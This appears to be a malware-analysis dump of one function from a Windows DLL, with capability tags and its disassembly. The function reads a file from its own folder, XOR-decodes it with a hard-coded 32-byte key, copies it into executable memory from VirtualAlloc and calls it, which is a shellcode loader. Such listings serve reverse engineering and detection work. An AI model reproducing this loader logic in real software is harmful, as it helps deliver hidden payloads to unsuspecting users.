Function at 0x180002210
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Set current directory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x2c0]
sub rsp, 0x3c0
mov rax, qword [0x180032080]
xor rax, rsp
mov qword [rbp + 0x2b0], rax
mov r8d, 0x104
lea rdx, [rbp + 0xa0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov edx, 0x104
lea rcx, [rbp + 0xa0]
call qword [sym.imp.api_ms_win_core_path_l1_1_0.dll_PathCchRemoveFileSpec]
lea rcx, [rbp + 0xa0]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
xor edx, edx
mov r8d, 0x110
lea rcx, [rsp + 0x60]
call fcn.1800213d0
lea rcx, [rsp + 0x60]
call fcn.180003490
nop
cmp qword [rbp - 0x10], 0
je 0x18000239f
lea rdx, [rbp + 0x70]
lea rcx, [rsp + 0x60]
call fcn.180003820
mov rbx, qword [rax + 8]
add rbx, qword [rax]
lea rcx, [rsp + 0x60]
call fcn.180003900
mov rcx, rbx
call fcn.180005a64
mov rdi, rax
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.180003af0
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
test byte [rdx + rax + 0x10], 6
jne 0x180002356
movups xmm0, xmmword [str.jcjx1wIA9LMnjPnkEhEvSlTet0RAswrT]
movups xmmword [rbp + 0x70], xmm0
movups xmm1, xmmword [0x18002d250]
movups xmmword [rbp + 0x80], xmm1
movzx eax, byte [0x18002d260]
mov byte [rbp + 0x90], al
xor ecx, ecx
test rbx, rbx
jle 0x180002327
mov rax, rcx
and eax, 0x1f
movzx eax, byte [rbp + rax + 0x70]
xor byte [rcx + rdi], al
inc rcx
cmp rcx, rbx
jl 0x180002311
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
je 0x180002356
mov r8, rbx
mov rdx, rdi
mov rcx, rax
call fcn.180020d30
call rsi
lea rcx, [rsp + 0x70]
call fcn.180004070
test rax, rax
jne 0x180002396
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
mov eax, 6
mov edx, 2
cmp qword [rbp + rcx - 0x58], 0
cmovne eax, edx
or eax, dword [rsp + rcx + 0x70]
and eax, 0x17
mov dword [rsp + rcx + 0x70], eax
and eax, dword [rsp + rcx + 0x74]
jne 0x180002433
mov rcx, rdi
call fcn.180005a20
nop
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x60], rax
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x5c], edx
lea rcx, [rsp + 0x70]
call fcn.1800031d0
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x60], rax
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rsp + rcx + 0x5c], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x10], rax
lea rcx, [rbp + 0x10]
call fcn.18000517c
nop
mov rcx, qword [rbp + 0x2b0]
xor rcx, rsp
call fcn.180005a00
lea r11, [rsp + 0x3c0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
test al, 4
je 0x180002440
lea rbx, str.ios_base::badbit_set
jmp 0x180002454
test dl, al
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rbp + 0x70]
call fcn.1800012e0
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x30]
call fcn.180001ba0
lea rdx, [0x180031100]
lea rcx, [rsp + 0x30]
call fcn.1800078d4
int3